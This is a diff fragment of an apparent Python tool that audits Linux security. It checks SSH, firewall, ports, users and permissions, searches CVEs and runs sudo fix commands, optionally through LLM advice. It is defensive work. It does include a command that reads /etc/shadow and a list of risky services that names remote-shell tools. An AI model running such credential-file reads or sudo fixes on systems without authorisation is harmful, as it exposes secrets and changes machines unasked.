AUDIT CHECKS + # ========================================================================= + + def check_firewall(self): + """Check firewall status.""" + self.print_status("Checking firewall...") + + # Check iptables + success, output = self.run_cmd("iptables -L -n 2>/dev/null | head -20") + if success and "Chain" in output: + rules = output.count("\n") + if rules > 5: + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'iptables', 'rules': rules} + return + else: + self.add_issue( + "Firewall - Minimal Rules", + f"iptables has only {rules} rules configured", + "MEDIUM", + "network", + fix_instructions="Configure iptables with appropriate rules or use ufw/firewalld for easier management" + ) + return + + # Check ufw + success, output = self.run_cmd("ufw status 2>/dev/null") + if success and "active" in output.lower(): + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'ufw'} + return + + # Check firewalld + success, output = self.run_cmd("firewall-cmd --state 2>/dev/null") + if success and "running" in output.lower(): + self.audit_results['firewall'] = {'status': 'enabled', 'type': 'firewalld'} + return + + # No firewall + self.add_issue( + "No Active Firewall", + "No firewall (iptables/ufw/firewalld) is currently active", + "HIGH", + "network", + fix_command="sudo ufw enable", + fix_instructions="Enable UFW: sudo ufw enable\nOr install: sudo apt install ufw && sudo ufw enable" + ) + + def check_ssh_config(self): + """Check SSH hardening.""" + self.print_status("Checking SSH configuration...") + + ssh_config = Path("/etc/ssh/sshd_config") + if not ssh_config.exists(): + self.audit_results['ssh'] = {'status': 'not_installed'} + return + + try: + content = ssh_config.read_text() + except PermissionError: + success, content = self.run_cmd("sudo cat /etc/ssh/sshd_config 2>/dev/null") + if not success: + self.audit_results['ssh'] = {'status': 'permission_denied'} + return + + self.audit_results['ssh'] = {'status': 'installed', 'issues': []} + + # Check root login + if "PermitRootLogin no" not in content and "PermitRootLogin prohibit-password" not in content: + self.add_issue( + "SSH Root Login Enabled", + "Root login via SSH is not disabled", + "HIGH", + "ssh", + fix_command="sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config && sudo systemctl restart sshd", + fix_instructions="Edit /etc/ssh/sshd_config:\n PermitRootLogin no\nThen restart: sudo systemctl restart sshd" + ) + + # Check password auth + if "PasswordAuthentication no" not in content: + self.add_issue( + "SSH Password Auth Enabled", + "Password authentication is enabled (key-based is more secure)", + "MEDIUM", + "ssh", + fix_command="sudo sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config && sudo systemctl restart sshd", + fix_instructions="Edit /etc/ssh/sshd_config:\n PasswordAuthentication no\nEnsure you have SSH keys set up first!" + ) + + # Check protocol version + if "Protocol 1" in content: + self.add_issue( + "SSH Protocol 1 Enabled", + "Insecure SSH Protocol 1 is enabled", + "CRITICAL", + "ssh", + fix_instructions="Remove 'Protocol 1' from /etc/ssh/sshd_config" + ) + + def check_open_ports(self): + """Check for listening ports.""" + self.print_status("Scanning open ports...") + + success, output = self.run_cmd("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null") + if not success: + return + + lines = [l for l in output.split('\n') if 'LISTEN' in l] + self.audit_results['ports'] = {'listening': len(lines), 'high_risk': []} + + high_risk_ports = { + '21': ('FTP', 'HIGH', 'FTP transmits credentials in plaintext'), + '23': ('Telnet', 'CRITICAL', 'Telnet is unencrypted'), + '69': ('TFTP', 'HIGH', 'TFTP has no authentication'), + '111': ('RPC', 'MEDIUM', 'RPC can expose services'), + '135': ('MS-RPC', 'HIGH', 'Windows RPC - potential attack vector'), + '139': ('NetBIOS', 'HIGH', 'NetBIOS session service'), + '445': ('SMB', 'HIGH', 'SMB - common attack target'), + '512': ('rexec', 'CRITICAL', 'Insecure remote execution'), + '513': ('rlogin', 'CRITICAL', 'Insecure remote login'), + '514': ('rsh', 'CRITICAL', 'Insecure remote shell'), + '1433': ('MSSQL', 'MEDIUM', 'Database port exposed'), + '3306': ('MySQL', 'MEDIUM', 'Database port exposed'), + '3389': ('RDP', 'HIGH', 'Remote Desktop exposed'), + '5432': ('PostgreSQL', 'MEDIUM', 'Database port exposed'), + '5900': ('VNC', 'HIGH', 'VNC often weakly configured'), + } + + for line in lines: + for port, (name, severity, desc) in high_risk_ports.items(): + if f':{port} ' in line or f':{port}\t' in line: + self.audit_results['ports']['high_risk'].append(port) + self.add_issue( + f"High-Risk Port Open: {port} ({name})", + desc, + severity, + "network", + fix_instructions=f"Disable the {name} service if not needed:\n sudo systemctl stop \n sudo systemctl disable " + ) + + def check_users(self): + """Check user security.""" + self.print_status("Checking user accounts...") + + self.audit_results['users'] = {'issues': []} + + # Users with UID 0 + success, output = self.run_cmd("awk -F: '$3 == 0 {print $1}' /etc/passwd") + if success: + uid0_users = [u for u in output.split('\n') if u] + if len(uid0_users) > 1: + extra_roots = [u for u in uid0_users if u != 'root'] + self.add_issue( + "Multiple Root Users", + f"Users with UID 0 besides root: {', '.join(extra_roots)}", + "CRITICAL", + "users", + fix_instructions="Review and remove extra UID 0 accounts:\n sudo vipw\n Change UID to non-zero or remove account" + ) + + # Empty passwords + success, output = self.run_cmd("sudo awk -F: '($2 == \"\" ) {print $1}' /etc/shadow 2>/dev/null") + if success and output: + empty = [u for u in output.split('\n') if u] + if empty: + self.add_issue( + "Users with Empty Passwords", + f"Accounts without passwords: {', '.join(empty)}", + "CRITICAL", + "users", + fix_instructions=f"Set passwords for these users:\n sudo passwd \nOr lock the accounts:\n sudo usermod -L " + ) + + # Users with shells that shouldn't have them + success, output = self.run_cmd("awk -F: '($7 != \"/usr/sbin/nologin\" && $7 != \"/bin/false\" && $7 != \"/sbin/nologin\") {print $1}' /etc/passwd") + if success: + shell_users = [u for u in output.split('\n') if u] + self.audit_results['users']['shell_users'] = len(shell_users) + + def check_permissions(self): + """Check critical file permissions.""" + self.print_status("Checking file permissions...") + + critical_files = [ + ("/etc/passwd", "644", "User database"), + ("/etc/shadow", "640", "Password hashes"), + ("/etc/group", "644", "Group database"), + ("/etc/gshadow", "640", "Group passwords"), + ("/etc/ssh/sshd_config", "600", "SSH configuration"), + ("/root", "700", "Root home directory"), + ("/etc/crontab", "600", "System crontab"), + ] + + self.audit_results['permissions'] = {'checked': 0, 'issues': 0} + + for filepath, expected, desc in critical_files: + p = Path(filepath) + if p.exists(): + self.audit_results['permissions']['checked'] += 1 + try: + mode = oct(p.stat().st_mode)[-3:] + if int(mode) > int(expected): + self.audit_results['permissions']['issues'] += 1 + self.add_issue( + f"Insecure Permissions: {filepath}", + f"{desc} has mode {mode} (should be {expected} or less)", + "MEDIUM", + "permissions", + fix_command=f"sudo chmod {expected} {filepath}", + fix_instructions=f"Fix permissions:\n sudo chmod {expected} {filepath}" + ) + except: + pass + + # Check for world-writable directories + success, output = self.run_cmd("find /etc -type f -perm -002 2>/dev/null | head -5") + if success and output: + files = output.split('\n') + self.add_issue( + "World-Writable Files in /etc", + f"Found {len(files)} world-writable files in /etc", + "HIGH", + "permissions", + fix_instructions="Review and fix permissions:\n find /etc -type f -perm -002 -exec chmod o-w {} \\;" + ) + + def check_services(self): + """Check for unnecessary/dangerous services.""" + self.print_status("Auditing services...") + + dangerous_services = [ + ("telnet", "Telnet server"), + ("rsh", "Remote shell"), + ("rlogin", "Remote login"), + ("tftp", "TFTP server"), + ("vsftpd", "FTP server"), + ("proftpd", "FTP server"), + ("pure-ftpd", "FTP server"), + ] + + self.audit_results['services'] = {'dangerous_running': []} + + for svc, desc in dangerous_services: + success, _ = self.run_cmd(f"systemctl is-active {svc} 2>/dev/null") + if success: + self.audit_results['services']['dangerous_running'].append(svc) + self.add_issue( + f"Dangerous Service Running: {svc}", + f"{desc} is running", + "HIGH", + "services", + fix_command=f"sudo systemctl stop {svc} && sudo systemctl disable {svc}", + fix_instructions=f"Stop and disable {svc}:\n sudo systemctl stop {svc}\n sudo systemctl disable {svc}" + ) + + def check_updates(self): + """Check for available updates.""" + self.print_status("Checking for updates...") + + self.audit_results['updates'] = {'available': 0, 'security': 0} + + os_id = self.system_info.get('os_id', '') + + if os_id in ['debian', 'ubuntu', 'kali', 'mint']: + success, output = self.run_cmd("apt list --upgradable 2>/dev/null | grep -c upgradable || echo 0", timeout=30) + if success and output.isdigit(): + count = int(output) + self.audit_results['updates']['available'] = count + if count > 50: + self.add_issue( + "Many Pending Updates", + f"{count} packages need updating", + "MEDIUM", + "updates", + fix_command="sudo apt update && sudo apt upgrade -y", + fix_instructions="Update system:\n sudo apt update\n sudo apt upgrade" + ) + + elif os_id in ['fedora', 'rhel', 'centos', 'rocky', 'alma']: + success, output = self.run_cmd("dnf check-update 2>/dev/null | wc -l", timeout=30) + if success and output.isdigit(): + self.audit_results['updates']['available'] = int(output) + + def check_fail2ban(self): + """Check fail2ban status.""" + self.print_status("Checking fail2ban...") + + success, output = self.run_cmd("systemctl is-active fail2ban 2>/dev/null") + if success and "active" in output: + self.audit_results['fail2ban'] = {'status': 'running'} + else: + success, _ = self.run_cmd("which fail2ban-client 2>/dev/null") + if success: + self.add_issue( + "Fail2Ban Not Running", + "Fail2ban is installed but not running", + "MEDIUM", + "services", + fix_command="sudo systemctl start fail2ban && sudo systemctl enable fail2ban", + fix_instructions="Start fail2ban:\n sudo systemctl start fail2ban\n sudo systemctl enable fail2ban" + ) + else: + self.add_issue( + "Fail2Ban Not Installed", + "Fail2ban is not installed (protects against brute-force)", + "LOW", + "services", + fix_command="sudo apt install fail2ban -y && sudo systemctl enable fail2ban && sudo systemctl start fail2ban", + fix_instructions="Install fail2ban:\n sudo apt install fail2ban\n sudo systemctl enable --now fail2ban" + ) + + def check_antivirus(self): + """Check for antivirus.""" + self.print_status("Checking antivirus...") + + # Check ClamAV + success, _ = self.run_cmd("which clamscan 2>/dev/null") + if success: + self.audit_results['antivirus'] = {'status': 'installed', 'type': 'clamav'} + return + + # Check for other AV + for av in ['sophos', 'eset', 'kaspersky']: + success, _ = self.run_cmd(f"which {av} 2>/dev/null") + if success: + self.audit_results['antivirus'] = {'status': 'installed', 'type': av} + return + + self.add_issue( + "No Antivirus Installed", + "No antivirus solution detected", + "LOW", + "security", + fix_command="sudo apt install clamav clamav-daemon -y && sudo freshclam", + fix_instructions="Install ClamAV:\n sudo apt install clamav clamav-daemon\n sudo freshclam" + ) + + def check_cves(self, verbose: bool = True): + """Check for CVEs affecting this system using local SQLite database.""" + self.print_status("Checking CVE database for system vulnerabilities...") + + # Get database stats + db_stats = self.cve_db.get_db_stats() + + if db_stats['total_cves'] == 0: + if verbose: + print(f"{Colors.YELLOW}[!] Local CVE database is empty. Searching online...{Colors.RESET}") + # Fall back to online search + cves = self.cve_db.search_online( + cpe_name=self.cve_db.system_info.get('cpe_prefix', ''), + days_back=365, + max_results=100, + verbose=verbose + ) + else: + if verbose: + print(f"{Colors.DIM} Local DB: {db_stats['total_cves']:,} CVEs | Last sync: {db_stats.get('last_sync', 'Never')[:10] if db_stats.get('last_sync') else 'Never'}{Colors.RESET}") + # Use local database + cves = self.cve_db.get_system_cves(max_results=100) + + self.audit_results['cves'] = { + 'total': len(cves), + 'critical': sum(1 for c in cves if c.get('severity') == 'CRITICAL'), + 'high': sum(1 for c in cves if c.get('severity') == 'HIGH'), + 'medium': sum(1 for c in cves if c.get('severity') == 'MEDIUM'), + 'low': sum(1 for c in cves if c.get('severity') == 'LOW'), + 'items': cves[:20], # Keep top 20 + 'db_stats': db_stats, + } + + if verbose: + print(f"{Colors.GREEN}[+] Found {len(cves)} CVEs for your system{Colors.RESET}") + + # Add critical/high CVEs as issues + for cve in cves[:10]: + if cve.get('severity') in ['CRITICAL', 'HIGH']: + cve_id = cve.get('cve_id') or cve.get('id', '') + desc = cve.get('description', '')[:150] + self.add_issue( + f"CVE: {cve_id}", + desc, + cve['severity'], + "cve", + fix_instructions=f"Check: https://nvd.nist.gov/vuln/detail/{cve_id}\nUpdate affected packages and apply patches.", + score_penalty=15 if cve['severity'] == 'CRITICAL' else 10 + ) + + # ========================================================================= + # MAIN AUDIT + # ========================================================================= + + def run_full_audit(self, check_cves: bool = True): + """Run complete system audit.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}{Colors.CYAN}Starting Full System Security Audit{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + self.issues = [] + self.audit_results = {} + self.security_score = 100 + + # Collect info and run checks + self.collect_system_info() + self.check_firewall() + self.check_ssh_config() + self.check_open_ports() + self.check_users() + self.check_permissions() + self.check_services() + self.check_updates() + self.check_fail2ban() + self.check_antivirus() + + if check_cves: + self.check_cves() + + print(f"\n{Colors.DIM}{'─' * 50}{Colors.RESET}") + self.print_summary() + + def print_summary(self): + """Print audit summary.""" + print(f"\n{Colors.BOLD}Security Audit Summary{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + + # System info + print(f"\n{Colors.CYAN}System:{Colors.RESET} {self.system_info.get('os_name', 'Unknown')}") + print(f"{Colors.CYAN}Hostname:{Colors.RESET} {self.system_info.get('hostname', 'Unknown')}") + + # Issue counts by severity + critical = sum(1 for i in self.issues if i.severity == 'CRITICAL') + high = sum(1 for i in self.issues if i.severity == 'HIGH') + medium = sum(1 for i in self.issues if i.severity == 'MEDIUM') + low = sum(1 for i in self.issues if i.severity == 'LOW') + + print(f"\n{Colors.BOLD}Issues Found:{Colors.RESET}") + if critical: + print(f" {Colors.RED}CRITICAL: {critical}{Colors.RESET}") + if high: + print(f" {Colors.RED}HIGH: {high}{Colors.RESET}") + if medium: + print(f" {Colors.YELLOW}MEDIUM: {medium}{Colors.RESET}") + if low: + print(f" {Colors.CYAN}LOW: {low}{Colors.RESET}") + + if not self.issues: + print(f" {Colors.GREEN}No issues found!{Colors.RESET}") + + # Security score + print(f"\n{Colors.BOLD}Security Score: ", end="") + if self.security_score >= 80: + print(f"{Colors.GREEN}{self.security_score}/100{Colors.RESET}") + elif self.security_score >= 50: + print(f"{Colors.YELLOW}{self.security_score}/100{Colors.RESET}") + else: + print(f"{Colors.RED}{self.security_score}/100{Colors.RESET}") + + def save_to_file(self) -> bool: + """Save audit results to system.inf.""" + try: + data = { + 'audit_date': datetime.now().isoformat(), + 'system_info': self.system_info, + 'security_score': self.security_score, + 'audit_results': self.audit_results, + 'issues': [i.to_dict() for i in self.issues], + } + + with open(self._system_inf_path(), 'w') as f: + json.dump(data, f, indent=2, default=str) + + self.print_status(f"Results saved to {self._system_inf_path()}", "success") + return True + + except Exception as e: + self.print_status(f"Failed to save: {e}", "error") + return False + + def load_from_file(self) -> bool: + """Load previous audit results from system.inf.""" + if not self._system_inf_path().exists(): + return False + + try: + with open(self._system_inf_path(), 'r') as f: + data = json.load(f) + + self.system_info = data.get('system_info', {}) + self.security_score = data.get('security_score', 100) + self.audit_results = data.get('audit_results', {}) + self.issues = [SecurityIssue.from_dict(i) for i in data.get('issues', [])] + + return True + + except Exception as e: + self.print_status(f"Failed to load: {e}", "error") + return False + + # ========================================================================= + # ISSUE REMEDIATION + # ========================================================================= + + def show_issue_details(self, issue: SecurityIssue): + """Show detailed information about an issue.""" + clear_screen() + display_banner() + + color = SecurityIssue.SEVERITY_COLORS.get(issue.severity, Colors.WHITE) + + print(f"\n{Colors.BOLD}Issue Details{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.BOLD}Name:{Colors.RESET} {issue.name}") + print(f"{Colors.BOLD}Severity:{Colors.RESET} {color}{issue.severity}{Colors.RESET}") + print(f"{Colors.BOLD}Category:{Colors.RESET} {issue.category}") + print(f"\n{Colors.BOLD}Description:{Colors.RESET}") + print(f" {issue.description}") + + if issue.cve_ids: + print(f"\n{Colors.BOLD}Related CVEs:{Colors.RESET}") + for cve in issue.cve_ids: + print(f" - {cve}") + + if issue.fix_instructions: + print(f"\n{Colors.BOLD}Manual Fix Instructions:{Colors.RESET}") + for line in issue.fix_instructions.split('\n'): + print(f" {line}") + + if issue.fix_command: + print(f"\n{Colors.BOLD}Auto-Fix Command:{Colors.RESET}") + print(f" {Colors.CYAN}{issue.fix_command}{Colors.RESET}") + + print(f"\n{Colors.DIM}{'─' * 50}{Colors.RESET}") + + def attempt_llm_fix(self, issue: SecurityIssue) -> bool: + """Use LLM to generate and optionally apply a fix.""" + try: + from core.llm import get_llm, LLMError + except ImportError: + self.print_status("LLM module not available", "error") + return False + + self.print_status("Consulting LLM for fix recommendation...", "info") + + try: + llm = get_llm() + + if not llm.is_loaded: + self.print_status("Loading LLM model...", "info") + llm.load_model(verbose=True) + + # Build prompt + prompt = f"""You are a Linux security expert. Analyze this security issue and provide a fix. + +System: {self.system_info.get('os_name', 'Linux')} +Issue: {issue.name} +Severity: {issue.severity} +Description: {issue.description} +Category: {issue.category} + +Provide: +1. A brief explanation of the risk +2. The exact command(s) to fix this issue +3. Any important warnings or prerequisites + +Format your response clearly with sections.""" + + print(f"\n{Colors.CYAN}LLM Analysis:{Colors.RESET}\n") + + # Generate response with streaming + response_text = "" + for token in llm.generate(prompt, stream=True, max_tokens=500): + print(token, end="", flush=True) + response_text += token + + print("\n") + + # Ask if user wants to apply suggested fix + if issue.fix_command: + print(f"\n{Colors.YELLOW}Suggested command:{Colors.RESET} {issue.fix_command}") + choice = input(f"\n{Colors.WHITE}Apply this fix? (y/n): {Colors.RESET}").strip().lower() + + if choice == 'y': + print(f"\n{Colors.CYAN}[*] Executing: {issue.fix_command}{Colors.RESET}") + success, output = self.run_cmd(issue.fix_command, timeout=60) + + if success: + self.print_status("Fix applied successfully!", "success") + issue.status = "fixed" + return True + else: + self.print_status(f"Command failed: {output}", "error") + return False + + return True + + except Exception as e: + self.print_status(f"LLM error: {e}", "error") + return False + + def apply_manual_fix(self, issue: SecurityIssue) -> bool: + """Apply the predefined fix command.""" + if not issue.fix_command: + self.print_status("No automatic fix available for this issue", "warning") + return False + + print(f"\n{Colors.BOLD}Fix Command:{Colors.RESET}") + print(f" {Colors.CYAN}{issue.fix_command}{Colors.RESET}") + + print(f"\n{Colors.YELLOW}Warning: This will modify your system.{Colors.RESET}") + choice = input(f"{Colors.WHITE}Execute this command? (y/n): {Colors.RESET}").strip().lower() + + if choice != 'y': + self.print_status("Fix cancelled", "info") + return False + + print(f"\n{Colors.CYAN}[*] Executing...{Colors.RESET}") + success, output = self.run_cmd(issue.fix_command, timeout=60) + + if output: + print(f"\n{Colors.DIM}Output:{Colors.RESET}") + print(output) + + if success: + self.print_status("Fix applied successfully!", "success") + issue.status = "fixed" + return True + else: + self.print_status("Command failed", "error") + return False + + # ========================================================================= + # MENU SYSTEM + # ========================================================================= + + def show_menu(self): + """Display main menu.""" + clear_screen() + display_banner() + + # Load previous results if available + has_results = self._system_inf_path().exists() + + # Get CVE database stats + db_stats = self.cve_db.get_db_stats() + + print(f"\n{Colors.BLUE}{Colors.BOLD} My System - Security Audit{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Show system info + sys_info = self.cve_db.get_system_info() + print(f"\n {Colors.CYAN}Detected:{Colors.RESET} {sys_info.get('os_id', 'unknown')} {sys_info.get('os_version', '')}") + print(f" {Colors.CYAN}Kernel:{Colors.RESET} {sys_info.get('kernel', 'unknown')}") + + # Show CVE database status + if db_stats['total_cves'] > 0: + last_sync = db_stats.get('last_sync', '')[:10] if db_stats.get('last_sync') else 'Never' + print(f" {Colors.CYAN}CVE Database:{Colors.RESET} {db_stats['total_cves']:,} CVEs ({db_stats['db_size_mb']} MB)") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {last_sync}") + else: + print(f" {Colors.YELLOW}CVE Database:{Colors.RESET} Empty - sync required") + + if has_results and self.issues: + print(f" {Colors.CYAN}Last Score:{Colors.RESET} {self.security_score}/100") + print(f" {Colors.CYAN}Open Issues:{Colors.RESET} {sum(1 for i in self.issues if i.status == 'open')}") + + print(f"\n{Colors.DIM} {'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Run Full System Audit") + print(f" {Colors.GREEN}[2]{Colors.RESET} Run Audit (Skip CVE Check)") + + if has_results: + print(f"\n {Colors.CYAN}[3]{Colors.RESET} View Issues ({len(self.issues)} found)") + print(f" {Colors.CYAN}[4]{Colors.RESET} View CVE Report") + + print(f"\n {Colors.YELLOW}[5]{Colors.RESET} Search CVE Database") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Check Software for CVEs") + + print(f"\n {Colors.MAGENTA}[7]{Colors.RESET} Sync CVE Database (Recent)") + print(f" {Colors.MAGENTA}[8]{Colors.RESET} Sync CVE Database (Full)") + print(f" {Colors.MAGENTA}[9]{Colors.RESET} CVE Database Info") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + def show_issues_menu(self): + """Display issues as selectable options.""" + if not self.issues: + self.print_status("No issues found. Run an audit first.", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + open_issues = [i for i in self.issues if i.status == 'open'] + fixed_issues = [i for i in self.issues if i.status == 'fixed'] + + print(f"\n{Colors.BOLD}Security Issues{Colors.RESET}") + print(f"{Colors.DIM}Score: {self.security_score}/100 | Open: {len(open_issues)} | Fixed: {len(fixed_issues)}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not open_issues: + print(f"{Colors.GREEN}All issues have been addressed!{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # List issues + for idx, issue in enumerate(open_issues, 1): + color = SecurityIssue.SEVERITY_COLORS.get(issue.severity, Colors.WHITE) + severity_badge = f"{color}[{issue.severity[:4]}]{Colors.RESET}" + print(f" [{idx:2}] {severity_badge} {issue.name}") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select issue to fix: {Colors.RESET}").strip() + + if choice == '0': + break + + if choice.isdigit(): + idx = int(choice) - 1 + if 0 <= idx < len(open_issues): + self.handle_issue(open_issues[idx]) + + except (EOFError, KeyboardInterrupt): + break + + def handle_issue(self, issue: SecurityIssue): + """Handle remediation of a single issue.""" + self.show_issue_details(issue) + + print(f"\n {Colors.GREEN}[1]{Colors.RESET} Auto-Fix with LLM") + print(f" {Colors.CYAN}[2]{Colors.RESET} Apply Manual Fix") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Mark as Ignored") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select action: {Colors.RESET}").strip() + + if choice == '1': + self.attempt_llm_fix(issue) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + self.apply_manual_fix(issue) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + issue.status = 'ignored' + self.print_status("Issue marked as ignored", "info") + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + pass + + def show_cve_report(self): + """Show CVE report from audit.""" + clear_screen() + display_banner() + + cve_data = self.audit_results.get('cves', {}) + + print(f"\n{Colors.BOLD}CVE Report for Your System{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {cve_data.get('total', 0)}") + print(f" {Colors.RED}Critical:{Colors.RESET} {cve_data.get('critical', 0)}") + print(f" {Colors.RED}High:{Colors.RESET} {cve_data.get('high', 0)}") + print(f" {Colors.YELLOW}Medium:{Colors.RESET} {cve_data.get('medium', 0)}") + print(f" {Colors.CYAN}Low:{Colors.RESET} {cve_data.get('low', 0)}") + + print(f"\n{Colors.BOLD}Top CVEs:{Colors.RESET}\n") + + for cve in cve_data.get('items', [])[:15]: + color = SecurityIssue.SEVERITY_COLORS.get(cve['severity'], Colors.WHITE) + print(f" {color}{cve['id']}{Colors.RESET} ({cve['severity']}) - CVSS: {cve['cvss_score']}") + print(f" {Colors.DIM}{cve['description'][:70]}...{Colors.RESET}") + print() + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def search_cve_interactive(self): + """Interactive CVE search.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Search{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + db_stats = self.cve_db.get_db_stats() + if db_stats['total_cves'] > 0: + print(f"{Colors.DIM}Local database: {db_stats['total_cves']:,} CVEs{Colors.RESET}\n") + else: + print(f"{Colors.YELLOW}Local database empty - will search online{Colors.RESET}\n") + + keyword = input(f"{Colors.WHITE}Search keyword (or Enter for system CVEs): {Colors.RESET}").strip() + + print() + self.print_status("Searching CVE database...", "info") + + # Try local database first, fall back to online + if db_stats['total_cves'] > 0: + if keyword: + cves = self.cve_db.search_cves(keyword=keyword) + else: + cves = self.cve_db.get_system_cves() + else: + if keyword: + cves = self.cve_db.search_online(keyword=keyword, verbose=True) + else: + cve_prefix = self.cve_db.system_info.get('cpe_prefix', '') + cves = self.cve_db.search_online(cpe_name=cve_prefix, verbose=True) + + if not cves: + self.print_status("No CVEs found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Results ({len(cves)} found):{Colors.RESET}\n") + + for cve in cves[:20]: + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('severity', ''), Colors.WHITE) + cve_id = cve.get('cve_id') or cve.get('id', '') + score = cve.get('cvss_score') or cve.get('cvss_v3_score') or 0 + desc = cve.get('description', '')[:80] + print(f" {color}{cve_id}{Colors.RESET} - CVSS: {score} ({cve.get('severity', 'N/A')})") + print(f" {Colors.DIM}{desc}...{Colors.RESET}") + print() + + # Option to view details + cve_id = input(f"\n{Colors.WHITE}Enter CVE ID for details (or Enter to go back): {Colors.RESET}").strip().upper() + + if cve_id: + # Try local first, then online + details = self.cve_db.get_cve(cve_id) + if not details: + details = self.cve_db.fetch_cve_online(cve_id, verbose=True) + if details: + self.show_cve_details(details) + else: + self.print_status(f"CVE {cve_id} not found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def show_cve_details(self, cve: Dict): + """Show detailed CVE information.""" + clear_screen() + display_banner() + + cve_id = cve.get('cve_id') or cve.get('id', '') + print(f"\n{Colors.BOLD}{cve_id}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + print(f"{Colors.BOLD}Description:{Colors.RESET}") + print(f" {cve.get('description', 'N/A')}\n") + + # CVSS v3 + if cve.get('cvss_v3_score'): + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('cvss_v3_severity', ''), Colors.WHITE) + print(f"{Colors.BOLD}CVSS v3:{Colors.RESET}") + print(f" Score: {color}{cve['cvss_v3_score']} ({cve.get('cvss_v3_severity', 'N/A')}){Colors.RESET}") + if cve.get('cvss_v3_vector'): + print(f" Vector: {cve['cvss_v3_vector']}") + + # CVSS v2 (if no v3) + elif cve.get('cvss_v2_score'): + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('cvss_v2_severity', ''), Colors.WHITE) + print(f"{Colors.BOLD}CVSS v2:{Colors.RESET}") + print(f" Score: {color}{cve['cvss_v2_score']} ({cve.get('cvss_v2_severity', 'N/A')}){Colors.RESET}") + if cve.get('cvss_v2_vector'): + print(f" Vector: {cve['cvss_v2_vector']}") + + if cve.get('published'): + print(f"\n{Colors.BOLD}Published:{Colors.RESET} {cve['published'][:10]}") + + if cve.get('weaknesses'): + print(f"\n{Colors.BOLD}Weaknesses (CWE):{Colors.RESET}") + for w in cve['weaknesses'][:5]: + print(f" - {w}") + + if cve.get('references'): + print(f"\n{Colors.BOLD}References:{Colors.RESET}") + for ref in cve['references'][:5]: + url = ref.get('url', ref) if isinstance(ref, dict) else ref + print(f" - {url}") + + if cve.get('cpes'): + print(f"\n{Colors.BOLD}Affected Products:{Colors.RESET}") + for cpe in cve['cpes'][:5]: + criteria = cpe.get('cpe_criteria', cpe) if isinstance(cpe, dict) else cpe + print(f" - {criteria}") + + print(f"\n{Colors.CYAN}Full details: https://nvd.nist.gov/vuln/detail/{cve_id}{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def check_software_cves(self): + """Check CVEs for specific software.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}Software CVE Check{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + db_stats = self.cve_db.get_db_stats() + if db_stats['total_cves'] > 0: + print(f"{Colors.DIM}Local database: {db_stats['total_cves']:,} CVEs{Colors.RESET}\n") + + software = input(f"{Colors.WHITE}Software name (e.g., apache, nginx, openssh): {Colors.RESET}").strip() + if not software: + return + + version = input(f"{Colors.WHITE}Version (optional): {Colors.RESET}").strip() + + print() + self.print_status(f"Searching CVEs for {software}...", "info") + + # Try local database first + if db_stats['total_cves'] > 0: + cves = self.cve_db.get_software_cves(software, version=version if version else None) + else: + # Fall back to online search + keyword = f"{software} {version}" if version else software + cves = self.cve_db.search_online(keyword=keyword, verbose=True) + + if not cves: + self.print_status("No CVEs found for this software", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Found {len(cves)} CVEs:{Colors.RESET}\n") + + for cve in cves[:15]: + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('severity', ''), Colors.WHITE) + cve_id = cve.get('cve_id') or cve.get('id', '') + score = cve.get('cvss_score') or cve.get('cvss_v3_score') or 0 + desc = cve.get('description', '') + desc = desc[:70] + '...' if len(desc) > 70 else desc + print(f" {color}{cve_id}{Colors.RESET} - CVSS: {score} ({cve.get('severity', 'N/A')})") + print(f" {Colors.DIM}{desc}{Colors.RESET}") + print() + + 